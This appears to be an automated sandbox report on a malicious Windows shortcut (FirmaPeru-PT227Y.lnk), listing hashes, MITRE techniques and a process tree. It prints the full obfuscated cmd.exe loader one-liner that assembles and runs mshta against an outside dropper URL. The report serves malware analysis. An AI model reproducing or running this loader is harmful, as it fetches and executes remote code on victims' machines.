4c0e963ae352f85a0df8fa0df40d4906f036d3295e02e04c56898ba941432185

Analysis

max time kernel
40s
max time network
41s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 19:20

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General

Target
FirmaPeru-PT227Y.lnk
Size 2KB
Sample260803-x2eqeawgnd
SHA256 4c0e963ae352f85a0df8fa0df40d4906f036d3295e02e04c56898ba941432185
MD5 398f26d55f86d84111fca8ee586b7a1f
SHA1 0c9277b60a8763082ccb1d5c9641a75a17096e1c
SHA512 2103eeabf590a093215186cd2422e41e3a927bf1ee68345db26e0de3940592fad014921379417cfafb654ecd8fe994c404002db098e0a86ebfca1f902e6eadab
TLSH
T13D4129401DE94194D2BB9F7699BDA701897B7D227C72C6CD0940829E5822B01EA37B36
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://m-firma.lat/h/estagio1.php?r=261A6CF54682

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1124	cmd.exe
5744	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1124 wrote to memory of 5744	1124	cmd.exe	88
PID 5744 wrote to memory of 4664	5744	cmd.exe	89

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\FirmaPeru-PT227Y.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1124
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /V:on /c "set aJ=datwuusjdat&set iESnJ=datzohkqxpqyjppdat&set ohM=olduhyhlnaqwcpjczxoold&set kBd=x8qsta3&&set bbw=chrt2xy&set Yu=tims7a&&set CmT=ihjxh&&set NAVDd=5tamw1&set jM=infdffaxtlnamcinf&set UE=syskpcifosmpugvlvdsys&set hJdt=infdjfowinf&set LtF=dbgrcyagaabcwgdkslipdbg&set Wwzq=cachernetenufbcache&&set nWR=h@t@tps@:@//m-@[email protected]@t@/h@/es@[email protected]?@r@=26@1A6CF5@4@682&&start /b !Yu:~2,2!!CmT:~1,1!!NAVDd:~1,2! !nWR:@=!&&set GMLGr=done"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5744
- - C:\Windows\System32\mshta.exe
    mshta https://m-firma.lat/h/estagio1.php?r=261A6CF54682
    3⤵
    PID:4664

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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